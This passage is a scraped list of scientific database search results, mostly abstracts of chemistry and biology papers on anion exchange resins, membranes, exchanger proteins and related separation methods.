characteristic components of Kamchatka waters. Extraction of boron from thermal waters for production of potable water is closely linked with current problems of multiproduct utilization of resources and protection of the environment. The authors have investigated the possibilities of using ion exchange for extraction of boron from natural waters, and studied the sorption relationships by a dynamic method. They synthesized a macroporous anion-exchanger based on a copolymer of styrene with divinylbenzene, containing N-methylglucamine groups (ANB-11 resin). ANB-11 resin had high sorption capacity for boron anions during sorption from thermal-spring water. The experimental data were described by Elkins equation. 1. Development of (126)Sn separation method by means of anion exchange resin and gamma spectroscopy. PubMed Dulanská, Silvia; Remenec, Boris; Bilohuščin, Ján; Mátel, Ľubomír; Bujdoš, Marek 2017-05-01 This paper describes a method employing anion exchange resin for determination of (126)Sn in radioactive waste. The method is suitable for the separation of (126)Sn isotope from hydrochloric and hydrofluoric acid solution. The separation is based on precipitation of tin with ammonium sulfide in 0.5molL(-1) HCl, dissolution of the precipitate in concentrated HCl, loading in 2molL(-1) HCl onto anion exchange resin column and elution with 2molL(-1) HNO3. (126)Sn was measured by gamma spectrometry. 2. Donnan dialysis of copper, gold and silver cyanides with various anion exchange membranes. PubMed Akretche, D E; Kerdjoudj, H 2000-02-07 Donnan dialysis is an ion exchange membrane process that can be used for the purification and concentration of diluted solutions. In this work, the behaviour of gold, silver and copper in cyanide medium is examined. Flux of cyanide complexes and corresponding free cyanide are determined using five commercial anion exchanger membranes (AMV, ACS, RAI 5035, ADP and ADS). The results show that the rate transfer depends upon the nature of the anion exchanger membrane. It is observed that the species number in the feed solution influences the transfer selectivity of metal ion complex against free cyanide Thus, gold which forms only one stable species with cyanides is transferred faster through an ACS membrane than copper which forms three species. However, this result is not verified when an ADS membrane is used. A model of the complex transfer through anion exchange membranes based on Donnan dialysis is proposed. A three compartment Donnan dialysis is performed to improve the separation between the studied metals. Decyanidation is also examined and separation factors are calculated. It is shown that Donnan dialysis can be an efficient technique for the separation of cyanides complexes of copper, gold and silver when parameters such as anion exchange membrane and the number of compartments are optimised. An advantage of this technique is also the possibility of recycling all reactants with a good impact on the environment. 3. Regulation of intracellular pH in rat lactotrophs: involvement of anionic exchangers. PubMed Garcia, L; Boué-Grabot, E; Garret, M; Sartor, P 1997-10-01 Regulation of the intracellular pH (pHi) of normal rat lactotrophs was studied. As this cell type, cultured with 10% FCS, can achieve a relatively alkaline pHi (7.3-7.5), we investigated the presence of a mechanism based on Cl-/HCO3- exchange. Using the pHi-sensitive probe SNARF-1 (seminaphtorodafluor) in its permeant form, SNARF-1/AM, we studied pHi recovery after acidic loading in individual cells with a microspectrofluorometric approach. We showed the involvement of anionic exchange in lactotroph cell pHi regulation. Acute CO2-bicarbonate cell acidic loading combined with external Cl- depletion induces the activation of a Cl-/HCO3- exchange. This exchange is 4,4'-diisothiocyanostilbene-2,2'-disulfonic acid sensitive and corresponds to the type 3 anionic exchanger (AE3). However, after nigericin acidification, Na+/H+ exchange can also participate in recovery. In addition, incubation experiments strongly suggest that a 4,4'-diisothiocyanostilbene-2,2'-disulfonic acid-insensitive anionic exchanger (type 2 anionic exchanger or AE2) is present in rat lactotrophs. The presence and involvement of carbonic anhydrase in pHi regulation have been demonstrated. Finally, using Northern blot and reverse transcription-PCR techniques, messenger RNAs for both AE2 and AE3 were identified in anterior pituitary cell extracts. We concluded that in normal rat lactotrophs, pHi regulation is achieved by a complex system in which Cl-/HCO3- exchange has a pivotal role. 4. A general halide-to-anion switch for imidazolium-based ionic liquids and oligocationic systems using anion exchange resins (A- form). PubMed Alcalde, Ermitas; Dinarès, Immaculada; Ibáñez, Anna; Mesquida, Neus 2011-03-21 Further studies on the application of an AER (A(-) form) method broadened the anion exchange scope of representative ionic liquids and bis(imidazolium) systems. Depending on the hydrophobicity nature of the targeted imidazolium species and counteranions, different organic solvents were used to swap halides for assorted anions, proceeding in excellent to quantitative yields. 5. Mimicking the cell membrane: bio-inspired simultaneous functions with monovalent anion selectivity and antifouling properties of anion exchange membrane. PubMed Zhao, Yan; Liu, Huimin; Tang, Kaini; Jin, Yali; Pan, Jiefeng; der Bruggen, Bart Van; Shen, Jiangnan; Gao, Congjie 2016-11-17 A new bio-inspired method was applied in this study to simultaneously improve the monovalent anion selectivity and antifouling properties of anion exchange membranes (AEMs). Three-layer architecture was developed by deposition of polydopamine (PDA) and electro-deposition of N-O-sulfonic acid benzyl chitosan (NSBC). The innermost and outermost layers were PDA with different deposition time. The middle layer was prepared by NSBC. Fourier transform infrared spectroscopy and scanning electron microscopy confirmed that PDA and NSBC were successfully modified on the surfaces of AEMs. The contact angle of the membranes indicated an improved hydrophilicity of the modified membranes. A series of electrodialysis experiments in which Cl(-)/SO4(2-) separation was studied, demonstrating the monovalent anion selectivity of the samples. The Cl(-)/SO4(2-) permselectivity of the modified membranes can reach up to 2.20, higher than that of the commercial membrane (only 0.78) during 90 minutes in electrodialysis (ED). The increase value of the resistance of the membranes was also measured to evaluate the antifouling properties. Sodium dodecyl benzene sulfonate (SDBS) was used as the fouling material in the ED process and the membrane area resistance of modified membrane increase value of was only 0.08 Ωcm(2) 30 minutes later. 6. Mimicking the cell membrane: bio-inspired simultaneous functions with monovalent anion selectivity and antifouling properties of anion exchange membrane PubMed Central Zhao, Yan; Liu, Huimin; Tang, Kaini; Jin, Yali; Pan, Jiefeng; der Bruggen, Bart Van; Shen, Jiangnan; Gao, Congjie 2016-01-01 A new bio-inspired method was applied in this study to simultaneously improve the monovalent anion selectivity and antifouling properties of anion exchange membranes (AEMs). Three-layer architecture was developed by deposition of polydopamine (PDA) and electro-deposition of N-O-sulfonic acid benzyl chitosan (NSBC). The innermost and outermost layers were PDA with different deposition time. The middle layer was prepared by NSBC. Fourier transform infrared spectroscopy and scanning electron microscopy confirmed that PDA and NSBC were successfully modified on the surfaces of AEMs. The contact angle of the membranes indicated an improved hydrophilicity of the modified membranes. A series of electrodialysis experiments in which Cl−/SO42− separation was studied, demonstrating the monovalent anion selectivity of the samples. The Cl−/SO42− permselectivity of the modified membranes can reach up to 2.20, higher than that of the commercial membrane (only 0.78) during 90 minutes in electrodialysis (ED). The increase value of the resistance of the membranes was also measured to evaluate the antifouling properties. Sodium dodecyl benzene sulfonate (SDBS) was used as the fouling material in the ED process and the membrane area resistance of modified membrane increase value of was only 0.08 Ωcm2 30 minutes later. PMID:27853255 7. Mimicking the cell membrane: bio-inspired simultaneous functions with monovalent anion selectivity and antifouling properties of anion exchange membrane Zhao, Yan; Liu, Huimin; Tang, Kaini; Jin, Yali; Pan, Jiefeng; der Bruggen, Bart Van; Shen, Jiangnan; Gao, Congjie 2016-11-01 A new bio-inspired method was applied in this study to simultaneously improve the monovalent anion selectivity and antifouling properties of anion exchange membranes (AEMs). Three-layer architecture was developed by deposition of polydopamine (PDA) and electro-deposition of N-O-sulfonic acid benzyl chitosan (NSBC). The innermost and outermost layers were PDA with different deposition time. The middle layer was prepared by NSBC. Fourier transform infrared spectroscopy and scanning electron microscopy confirmed that PDA and NSBC were successfully modified on the surfaces of AEMs. The contact angle of the membranes indicated an improved hydrophilicity of the modified membranes. A series of electrodialysis experiments in which Cl‑/SO42‑ separation was studied, demonstrating the monovalent anion selectivity of the samples. The Cl‑/SO42‑ permselectivity of the modified membranes can reach up to 2.20, higher than that of the commercial membrane (only 0.78) during 90 minutes in electrodialysis (ED). The increase value of the resistance of the membranes was also measured to evaluate the antifouling properties. Sodium dodecyl benzene sulfonate (SDBS) was used as the fouling material in the ED process and the membrane area resistance of modified membrane increase value of was only 0.08 Ωcm2 30 minutes later. 8. Anion exchange kinetics of nanodimensional layered metal hydroxides: use of isoconversional analysis. PubMed Majoni, Stephen; Hossenlopp, Jeanne M 2010-12-16 Anion exchange reactions of nanodimensional layered metal hydroxide compounds are utilized to create materials with targeted physical and chemical properties and also as a means for controlled release of intercalated anions. The kinetics of this important class of reaction are generally characterized by model-based approaches. In this work, a different approach based on isothermal, isoconversional analysis was utilized to determine effective activation energies with respect to extent of reaction. Two different layered metal hydroxide materials were chosen for reaction with chloride anions, using a temperature range of 30-60 °C. The concentrations of anions released into solution and the changes in polycrystalline solid phases were evaluated using model-based (Avrami-Erofe'ev nucleation-growth model) and model-free (integral isoconversional) methods. The results demonstrate the utility of the isoconversional approach for identifying when fitting to a single model is not appropriate, particularly for characterizing the temperature dependence of the reaction kinetics. 9. Characterisation of gunshot residue from three ammunition types using suppressed anion exchange chromatography. PubMed Gilchrist, Elizabeth; Jongekrijg, Fleur; Harvey, Laura; Smith, Norman; Barron, Leon 2012-09-10 Gunshot residue (GSR) is commonly analysed in forensic casework using either scanning electron microscopy with energy-dispersive X-ray spectroscopy (SEM-EDX) or gas chromatography-mass spectrometry (GC-MS). Relatively little work has been reported on the post-discharge GSR content of non-metallic inorganic or low molecular weight organic anions to distinguish between different ammunition types. The development of an analytical method using suppressed micro-bore anion exchange chromatography (IC) is presented for the analysis of GSR. A hydroxide gradient was optimised for the separation of 19 forensically relevant organic and inorganic anions in <23min and sensitivities of the order of 0.12-3.52ng of anion detected for all species were achieved. Along with an optimised extraction procedure, this method was applied to the analysis of post-ignition residues from three selected ammunition types. By profiling and comparing the anionic content in each ammunition residue, the possibility to distinguish between each type using their anionic profiles and absolute weight is presented. The potential for interference is also discussed with respect to sample types which are typically problematic in the analysis of GSR using SEM-EDX and GC-MS. To the best of our knowledge this represents the first study on the analysis of inorganic anions in GSR using suppressed ion chromatography. 10. EFFECTS OF PH AND COMPETING ANIONS ON THE SOLUTION SPECIATION OF ARSENIC BY ION EXCHANGE RESINS EPA Science Inventory Anion-exchange resins (AER) are used to differentiate As(V) and As(III) by retaining As(V) and allowing As(III) to pass through. AERs allow rapid speciation of As in the field which precludes the effects sample preservation on As speciation. Aqueous environmental samples contai... 11. Anion-exchange synthesis of nanoporous FeP nanosheets as electrocatalysts for hydrogen evolution reaction. PubMed Xu, You; Wu, Rui; Zhang, Jingfang; Shi, Yanmei; Zhang, Bin 2013-07-28 Nanoporous FeP nanosheets are successfully synthesized via the anion-exchange reaction of inorganic-organic hybrid Fe18S25-TETAH (TETAH = protonated triethylenetetramine) nanosheets with P ions. The as-prepared nanoporous FeP nanosheets exhibit high electrochemical hydrogen evolution reaction activity in acidic medium. 12. Separation of the rare earths by anion-exchange in the presence of lactic acid NASA Technical Reports Server (NTRS) Faris, J. P. 1969-01-01 Investigation of adsorption of rare earths and a few other elements to an anion-exchange resin from mixed solvents containing lactic acid shows that the lanthanides are absorbed more strongly than from the alpha-hydroxyisobutryric acid system, but with less separation between adjacent members of the series. 13. DEMINERALIZER BUILDING, TRA608. CATION AND ANION EXCHANGERS LINE UP ALONG ... Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey DEMINERALIZER BUILDING, TRA-608. CATION AND ANION EXCHANGERS LINE UP ALONG NORTH WALL ON CONCRETE PLATFORMS. INL NEGATIVE NO. 2527. Unknown Photographer, 6/12/1951 - Idaho National Engineering Laboratory, Test Reactor Area, Materials & Engineering Test Reactors, Scoville, Butte County, ID 14. M8L12 cubic cages with all facial Δ or facial Λ configuration: effects of surface anions on the occupancy of the cage and anion exchange. PubMed Yang, Jing; Chang, Xiao-Yong; Sham, Kiu-Chor; Yiu, Shek-Man; Kwong, Hoi-Lun; Che, Chi-Ming 2016-05-01 M8L12 cubic cages (M = Mn(II), Zn(II) or Cd(II)), with all eight metal ions having all facial Δ or facial Λ configurations and having an encapsulated anion, were prepared by the self-assembly of m-xylene-bridged imidazolyl-imine ligands and MX2 (X = PF6(-), SbF6(-), TfO(-)) salts; the encapsulated anion exchange with different anions (SbF6(-), Tf2N(-), NO3(-), TsO(-)) was studied and the results with NO3(-) and TsO(-) indicate that anions on the cage surfaces affect the encapsulated anion exchange and the occupancy of the cage. 15. A new anion-exchange/hydrophobic monolith as stationary phase for nano liquid chromatography of small organic molecules and inorganic anions. PubMed Aydoğan, Cemil 2015-05-01 In this study, an anion-exchange/hydrophobic polymethacrylate-based stationary phase was prepared for nano-liquid chromatography of small organic molecules and inorganic anions. The stationary phase was synthesized by in situ polymerization of 3-chloro-2-hydroxypropylmethacrylate and ethylene dimethacrylate inside silanized 100 μm i.d. fused silica capillary. The porogen mixture consisted of toluene and dodecanol. The pore size distrubution profiles of the resulting monolith were determined by mercury intrusion porosimetry and the morphology of the prepared monolith was investigated by scanning electron microscope. Good permeability, stability and column efficiency were observed on the monolithic column with nano flow. The produced monolithic column, which contains reactive chloro groups, was then modified by reaction with N,N-dimethyl-N-dodecylamine to obtain an anion-exchange/hydrophobic monolithic stationary phase. The functionalized monolith contained ionizable amine groups and hydrophobic groups that are useful of anion-exchange/hydrophobic mixed-mode chromatography. The final monolithic column performance with respect to anion-exchange and hydrophobic interactions was assesed by the separation of alkylbenzene derivatives, phenolic compounds and inorganic anions, respectively. Theoretical plate numbers up to 23,000 plates/m were successfully achieved in the separation of inorganic anions. 16. Anion-exchange resin-based desulfurization process. Final report SciTech Connect Sheth, A C; Dharmapurikar, R; Strevel, S D 1994-01-01 The following investigations were performed: (1) batch mode screening of eleven(11) commercially available resins and selection of three candidate resins for further evaluation in a fixed-bed setup. (2) Process variables study using three candidate resins in the fixed-bed setup and selection of the best resin for process economics development. (3) Exhaustion efficiency and solution concentration were found to be inversely related necessitating a trade-off between the resin cost versus the cost of evaporation/concentration of ensuing effluents. (4) Higher concentration of the HCO{sub 3}{sup {minus}} form of active sites over less active CO{sub 3}{sup 2{minus}} form of sites in the resin was believed to be the main reason for the observed increase in the equilibrium capacity of the resin at an elevated static CO{sub 2}-pressure. This Increase in capacity was found to level off around 80--120 psig range. The increase in CO{sub 2}-pressure, however, did not appear to affect the overall ion-exchange kinetics. (5) In the fixed-bed mode, the solution concentration was found to affect the equilibrium capacity of candidate resins. Their relationship was well satisfied by the Langmuir type non-linear equilibrium isotherm. Alternatively, the effect of solution concentration on overall ion-exchange kinetics varied from resin to resin. (6) Product inhibition effect on the resin was observed as an initial increase followed by a significant decrease in the resins equilibrium capacity for SO{sub 4}{sup 2{minus}} as the HCO{sub 3}{sup {minus}}/SO{sub 4}{sup 2{minus}} molar ratio in the solution was increased from 0 to 1.0. This ratio, however, did not affect the overall ion-exchange kinetics. 17. Donnan dialysis of transition metal ions using anion exchange membrane modified with Xylenol Orange SciTech Connect Sawicka, B.; Brajter, K.; Trojanowicz, M.; Kado, B. ) 1991-01-01 A chelating ion-exchange membrane was obtained by modification of a PTFE-based anion-exchange membrane with Xylenol Orange. Its utility for dialysis of Cu(II), Ni(II), Mn(II), and Zn(II) was investigated by using receiver solutions without and with iminodiacetate. 1,2-diaminocyclohexanetetraacetic acid, and tetraethylenepentamine. In comparison to commercial PTFE cation-exchange membranes, modified chelating membranes exhibit for the metal ions investigated a larger differentiation of retention in the membrane phase and transport-to-receiver solution depending on the modifier used and the composition of the receiver solution. 18. Tuning the Optical Properties of Cesium Lead Halide Perovskite Nanocrystals by Anion Exchange Reactions PubMed Central 2015-01-01 We demonstrate that, via controlled anion exchange reactions using a range of different halide precursors, we can finely tune the chemical composition and the optical properties of presynthesized colloidal cesium lead halide perovskite nanocrystals (NCs), from green emitting CsPbBr3 to bright emitters in any other region of the visible spectrum, and back, by displacement of Cl– or I– ions and reinsertion of Br– ions. This approach gives access to perovskite semiconductor NCs with both structural and optical qualities comparable to those of directly synthesized NCs. We also show that anion exchange is a dynamic process that takes place in solution between NCs. Therefore, by mixing solutions containing perovskite NCs emitting in different spectral ranges (due to different halide compositions) their mutual fast exchange dynamics leads to homogenization in their composition, resulting in NCs emitting in a narrow spectral region that is intermediate between those of the parent nanoparticles. PMID:26214734 19. Tuning the Optical Properties of Cesium Lead Halide Perovskite Nanocrystals by Anion Exchange Reactions. PubMed Akkerman, Quinten A; D'Innocenzo, Valerio; Accornero, Sara; Scarpellini, Alice; Petrozza, Annamaria; Prato, Mirko; Manna, Liberato 2015-08-19 We demonstrate that, via controlled anion exchange reactions using a range of different halide precursors, we can finely tune the chemical composition and the optical properties of presynthesized colloidal cesium lead halide perovskite nanocrystals (NCs), from green emitting CsPbBr3 to bright emitters in any other region of the visible spectrum, and back, by displacement of Cl(-) or I(-) ions and reinsertion of Br(-) ions. This approach gives access to perovskite semiconductor NCs with both structural and optical qualities comparable to those of directly synthesized NCs. We also show that anion exchange is a dynamic process that takes place in solution between NCs. Therefore, by mixing solutions containing perovskite NCs emitting in different spectral ranges (due to different halide compositions) their mutual fast exchange dynamics leads to homogenization in their composition, resulting in NCs emitting in a narrow spectral region that is intermediate between those of the parent nanoparticles. 20. Perchlorate Selectivity of Anion Exchange Resins as Evaluated Using Ion-Selective Electrodes. PubMed Yamamoto, Kenji; Mitsuda, Shin'ya; Ohtake, Naomi; Murashige, Natsuki; Ohmuro, Satoshi; Yuchi, Akio 2017-01-01 The selectivity coefficients reported for perchlorate of the high selectivity on anion exchange resins (AXRs) have not been consistent with one another. Possible errors by the unique use of four parameters (concentrations of two anions in two phases) were experimentally verified. The concentrations of perchlorate buffered at low levels (10(-6) - 10(-4) mol L(-1)) by two forms of AXRs were successfully determined by potentiometry with a perchlorate ion-selective electrode. This gave reasonable coefficients. The coefficients for perchlorate on several AXRs were independent of the relative exchange (RE), in contrast to the previous reports. On the other hand, the coefficients for fluoride of the low selectivity that were examined for comparison decreased with an increase in RE, and the dependency was more remarkable for the resins of large exchange capacity. 1. Anion-exchangeable layered materials based on rare-earth phosphors: unique combination of rare-earth host and exchangeable anions. PubMed Geng, Fengxia; Ma, Renzhi; Sasaki, Takayoshi 2010-09-21 Layered materials, three-dimensional crystals built from stacking two-dimensional components, are attracting intense interest because of their structural anisotropy and the fascinating properties that result. However, the range of such layered materials that can exchange anions is quite small. Continuing efforts have been underway to identify a new class of anion-exchangeable materials. One major goal is the incorporation of rare-earth elements within the host because researchers expect that the marriage of rare-earth skeleton host and the exchangeable species within the interlayer will open up new avenues both for the assembly of layered materials and for the understanding of rare-earth element chemistry. Such lanthanide layered solids have industrial potential. These materials are also of academic importance, serving as an ideal model for studying the cationic size effect on structure stability associated with lanthanide contraction. In this Account, we present the work done by ourselves and others on this novel class of materials. We examine the following four subtopics regarding these layered anionic materials: (1) synthesis strategy and composition diversity, (2) structural features, (3) structure stability with relative humidity, and (4) applications. These materials can be synthesized either by hydrothermal reactions or by homogeneous precipitation, and a variety of anions can be intercalated into the gallery. Although only cations with a suitable size can form the layered structure, the possible range is wide, from early to late lanthanides. We illustrate the effect of lanthanide contraction on properties including morphology, lattice dimensions, and coordination numbers. Because each lanthanide metal ion coordinates water molecules, and the water molecules point directly into the gallery space, this feature plays a critical role in stabilizing the layered structure. In the 9-fold monocapped square antiprism structure, the humidity-triggered transition 2. Sulfate transport mediated by the mammalian anion exchangers in reconstituted proteoliposomes. PubMed Sekler, I; Lo, R S; Mastrocola, T; Kopito, R R 1995-05-12 The kinetic properties of sulfate transport mediated by the anion exchangers AE1 and AE2 have been examined. Microsomes isolated from HEK cells transiently overexpressing either protein were reconstituted in unilamellar, 200-600-nm diameter proteoliposomes. Transport mediated by the exchangers was monitored by loading the reconstituted proteoliposomes with the slowly transportable anion SO4(2-) using [35S]SO4(2-) as a tracer and performing [35S]SO4(2-)/SO4(2-) exchange. The following data suggest that AE1 and AE2 have been functionally reconstituted: (i) the rate of SO4(2-) transport in AE1 and AE2 containing proteoliposomes was 10-20 times higher than in proteoliposomes derived from control microsomes; (ii) the transport of SO4(2-) was strongly dependent on the presence of a trans anion; and (iii) the anion exchanger inhibitors, 4,4'-diisothiocyanostilbene-2,2'-disulfonate (DIDS) and 4,4'-dinitrostilbene-2,2'-di-sulfonate (DIDS) totally abolished SO4(2-) transport. furthermore, DIDS inhibits SO4(2-) transport only when occluded inside the vesicles, indicating a uniform, asymmetrical, inside-out orientation of the reconstituted exchangers. The Ki values of the stilbene disulfonate compound DNDS were 2.5 and 4 microM for AE1 and AE2, respectively, suggesting that the two exchangers possess similar high affinity sites for stilbene compounds. Both AE1 and AE2 showed the same steep pH dependence of sulfate transport, which was maximal at pH 5.5 and reduced to less than 10% (of the value at pH 5.5) at pH 8.5, suggesting that an acidic residue shared by AE1 and AE2 participates in the pH regulation of sulfate transport. 3. Synthesis, characterisation and anion exchange properties of copper, magnesium, zinc and nickel hydroxy nitrates SciTech Connect Biswick, Timothy; Jones, William . E-mail: [email protected]; Pacula, Aleksandra; Serwicka, Ewa 2006-01-15 Anion exchange reactions of four structurally related hydroxy salts, Cu{sub 2}(OH){sub 3}NO{sub 3}, Mg{sub 2}(OH){sub 3}NO{sub 3}, Ni{sub 2}(OH){sub 3}NO{sub 3} and Zn{sub 3}(OH){sub 4}(NO{sub 3}){sub 2} are compared and trends rationalised in terms of the strength of the covalent bond between the nitrate group and the matrix cation. Powder X-ray diffraction (PXRD), Fourier-transform infrared (FTIR) spectroscopy, thermogravimetric analysis (TGA) and elemental analysis are used to characterise the materials. Replacement of the nitrate anions in the zinc and copper salts with benzoate anions is possible although exchange of the zinc salt is accompanied by modification of the layer structure from one where zinc is exclusively six-fold coordinated to a structure where there is both six- and four-fold zinc coordination. Magnesium and nickel hydroxy nitrates, on the other hand, hydrolyse to their respective metal hydroxides. -- Graphical abstract: PXRD patterns of exchange products of (a) Zn{sub 3}(OH){sub 4}(NO{sub 3}){sub 2} (b) Zn{sub 5}(OH){sub 8}(NO{sub 3}){sub 2}.2H{sub 2}O and (c) Cu{sub 2}(OH){sub 3}NO{sub 3} with benzoate anions. 4. Preparation, Characterization and Anion Exchange Properties of Polypyrrole/Carbon Nanotube Nanocomposite SciTech Connect Cui, Xiaoli; Engelhard, Mark H.; Lin, Yuehe 2006-02-01 In this study, polypyrrole (PPy) thin film was electrodeposited on carbon nanotube (CNT) backbones by applying a constant deposition potential in solution with 0.1 M pyrrole with different electrolytes such as NaCl, NaNO3, or NaClO4. The hybrid films were characterized by scanning electron microscopy, X-ray photoelectron spectroscopy, and cyclic voltammetry. SEM images revealed the nanostructrure of PPy film generated on CNTs surface. The electrochemical and anion exchange properties of PPy-CNT composite film have been investigated. Nanostructured composite thin films of polypyrrole/CNTs were studied by cyclic voltammetry between 0.4 and -0.8 V in aqueous solution to evaluate their cycling stability and capacity for electrically switched anion exchange. It is found that the PPy/CNTs nanocomposites can improve the anion exchange capacity and stability of the PPy-CNTs composite film, which may be attributed to the nanostructure of the polypyrrole film, which offer the high aspect ratio of the film and ease of diffusion of anions in the nanostructured film, and the interaction between CNTs and PPy. 5. Topology of the membrane domain of human erythrocyte anion exchange protein, AE1. PubMed Fujinaga, J; Tang, X B; Casey, J R 1999-03-05 Anion exchanger 1 (AE1) is the chloride/bicarbonate exchange protein of the erythrocyte membrane. By using a combination of introduced cysteine mutants and sulfhydryl-specific chemistry, we have mapped the topology of the human AE1 membrane domain. Twenty-seven single cysteines were introduced throughout the Leu708-Val911 region of human AE1, and these mutants were expressed by transient transfection of human embryonic kidney cells. On the basis of cysteine accessibility to membrane-permeant biotin maleimide and to membrane-impermeant lucifer yellow iodoacetamide, we have proposed a model for the topology of AE1 membrane domain. In this model, AE1 is composed of 13 typical transmembrane segments, and the Asp807-His834 region is membrane-embedded but does not have the usual alpha-helical conformation. To identify amino acids that are important for anion transport, we analyzed the anion exchange activity for all introduced cysteine mutants, using a whole cell fluorescence assay. We found that mutants G714C, S725C, and S731C have very low transport activity, implying that this region has a structurally and/or catalytically important role. We measured the residual anion transport activity after mutant treatment with the membrane-impermeant, cysteine-directed compound, sodium (2-sulfonatoethyl)methanethiosulfonate) (MTSES). Only two mutants, S852C and A858C, were inhibited by MTSES, indicating that these residues may be located in a pore-lining region. 6. Ion exchange and intercalation properties of layered double hydroxides towards halide anions. PubMed Costantino, Umberto; Vivani, Riccardo; Bastianini, Maria; Costantino, Ferdinando; Nocchetti, Morena 2014-08-14 A layered double hydroxide (LDH) obtained by the urea method, having an empirical formula [Zn(0.61)Al(0.39)(OH)2](CO3)(0.195)·0.50H2O, has been converted into the corresponding chloride form [Zn(0.61)Al(0.39)(OH)2]Cl(0.39)·0.47H2O by making the solid come into contact with a suitable HCl solution. The intercalation of the other halide anions (X(-) = F(-), Br(-), I(-)) via the Cl(-)/X(-) anion exchange has been attained and the respective anion exchange isotherms have been obtained with the batch method. The analysis of the isotherms indicates that the selectivity of LDH towards the halides decreases with the increase of the X(-) ionic radius, the selectivity order being F(-) > Cl(-)≥ Br(-) > I(-). The CO3(2-)/Cl(-) isotherm has also been reported to highlight the extraordinary selectivity of LDH towards carbonate anions. Samples taken from the isotherms at different exchange degrees were analyzed by X-ray diffraction, thermogravimetry and thermodiffractometry to obtain information about the ion exchange mechanism. The Cl(-)/Br(-) and the reverse Br(-)/Cl(-) exchanges occur with the formation of solid solutions, very likely because of the similar ionic radius of the exchanging anions. In contrast, in the Cl(-)/F(-) and Cl(-)/I(-) exchange, the co-existence of the Cl(-) and F(-) (or I(-)) phases in the same sample was detected, indicating the occurrence of a first order phase transition, in which the starting phase is transformed into the final phase, as the process goes on. The variation of the interlayer distances of ZnAl-X intercalation compounds with the hydration degree has been interpreted with a structural model based on the nesting of the guest species into the trigonal pockets of the brucite-like layer surface. Rietveld refinements of the phases with the maximum F(-), Br(-) and I(-) content were also performed and compared with the above model, giving indications of the arrangement and order/disorder of the halide anions in the interlayer region. 7. Anion exchange through band 3 protein in canine leishmaniasis at different stages of disease. PubMed Morabito, Rossana; Remigante, Alessia; Cavallaro, Mauro; Taormina, Alessandro; La Spada, Giuseppina; Marino, Angela 2017-04-05 Band 3 protein efficiency in mediating Cl(-)/HCO3(-) exchange through erythrocytes membrane is reduced by oxidative stress. The aim of the present study was to verify whether and how anion transport through band 3 protein may be useful in monitoring canine leishmaniasis (Leishmania infantum) development, a disease associated to membrane protein degradation and oxidative stress. To accomplish this aim, serological analysis to determine IFAT (immunofluorescence antibody test) titers against leishmaniasis has been performed and 1:160 and 1:540 titers, determined at diagnosis and after 6 months, were considered for experiments. Oxidative conditions have been assessed by estimating MDA (malondialdehyde) plasma levels, intracellular GSH (reduced glutathione) content, and membrane -SH groups. Band 3 protein anion exchange capability was evaluated by measuring the rate constant for SO4(=) uptake, and its expression levels, along with those of P-Tyr (phosphorylated tyrosine), involved in pathways underlying band 3 protein function, have been also determined. Our results show that, in infected dogs with 1:160 IFAT titer, high MDA plasma levels and oxidation of -SH groups are associated to increased P-Tyr expression levels, leading to a reduction in anion exchange capability throughout 6 months of diagnosis. On the other hand, infected dogs with 1:540 IFAT titer, exhibited oxidative conditions associated to an impaired anion exchange capability at diagnosis, were ameliorated after 6 months. Such findings suggest that (1) band 3 protein-mediated anion transport is reduced by oxidative conditions associated to leishmaniasis, putatively via phosphorylative pathways; (2) band 3 protein efficiency may account for canine leishmaniasis development; and (3) the assessment of band 3 protein function may represent an additional tool for canine leishmaniasis diagnosis and monitoring of its development, with potential application to humans, either in case of leishmaniasis or other 8. "Salt tolerant" anion exchange chromatography for direct capture of an acidic protein from CHO cell culture. PubMed Champagne, Jérôme; Balluet, Guillaume; Gantier, René; Toueille, Magali 2013-06-01 The present study describes the use of the new HyperCel STAR AX "salt tolerant" anion exchange sorbent for the capture from Chinese Hamster Ovary (CHO) cell culture supernatant (CCS) of an acidic model protein (α-amylase). HyperCel STAR AX sorbent and other conventional anion exchangers were evaluated to purify biologically-active enzyme. Salt tolerance of the sorbent allowed reaching 5-fold higher dynamic binding capacity than conventional anion exchange during capture of the enzyme from neat (undiluted) CCS. After optimization of operating conditions, HyperCel STAR AX turned out to be the only sorbent allowing efficient protein capture directly from both neat and diluted CCS with consistent and satisfying purity, yield and productivity. Therefore implementation of the salt tolerant sorbent in industrial purification processes should allow avoiding time and cost consuming steps such as dilution or UF/DF that exclusively aim at establishing suitable conditions for ion exchange step without bringing any added value to the purification process performance. Altogether this study highlights the flexibility and cost-reduction potential brought in process design by the HyperCel STAR AX salt tolerant sorbent. 9. Integrating tunable anion exchange with reverse osmosis for enhanced recovery during inland brackish water desalination. PubMed Smith, Ryan C; SenGupta, Arup K 2015-05-05 For inland brackish water desalination by reverse osmosis or RO, concentrate or reject disposal poses a major challenge. However, enhanced recovery and consequent reduction in the reject volume using RO processes is limited by the solubility of ions present in the feedwater. One of the most common and stubborn precipitate formed during desalination is calcium sulfate. Reducing or eliminating the presence of sulfate would allow the process to operate at higher recoveries without threat to membrane scaling. In this research, this goal is accomplished by using an appropriate mixture of self-regenerating anion exchange resins that selectively remove and replace sulfate by chloride prior to the RO unit. Most importantly, the mixed bed of anion exchange resins is self-regenerated with the reject brine from the RO process, thus requiring no addition of external chemicals. The current work demonstrates the reversibility of the hybrid ion exchange and RO (HIX-RO) process with 80% recovery for a brackish water composition representative of groundwater in San Joaquin Valley in California containing approximately 5200 mg/L of total dissolved solids or TDS. Consequently, the reject volume can be reduced by 50% without the threat of sulfate scaling and use of antiscaling chemicals can be eliminated altogether. By appropriately designing or tuning the mixed bed of anion exchange resins, the process can be extended to nearly any composition of brackish water for enhanced recovery and consequent reduction in the reject volume. 10. Chromatographic evaluation of reversed-phase/anion-exchange/cation-exchange trimodal stationary phases prepared by electrostatically driven self-assembly process. PubMed Liu, Xiaodong; Pohl, Christopher; Woodruff, Andrew; Chen, Jinhua 2011-06-03 This work describes chromatographic properties of reversed-phase/cation-exchange/anion-exchange trimodal stationary phases. These stationary phases were based on high-purity porous spherical silica particles coated with nano-polymer beads using an electrostatically driven self-assembly process. The inner-pore area of the material was modified covalently with an organic layer that provided both reversed-phase and anion-exchange properties while the outer surface was coated with nano-sized polymer beads with strong cation-exchange characteristics. This design ensured spatial separation of the anion-exchange and the cation-exchange regions, and allowed reversed-phase, anion-exchange and cation-exchange retention mechanisms to function simultaneously. Chromatographic evaluation of ions and small molecules suggested that retention of ionic analytes was influenced by the ionic strength, pH, and mobile phase organic solvent content, and governed by both ion-exchange and hydrophobic interactions. Meanwhile, neutral analytes were retained by hydrophobic interaction and 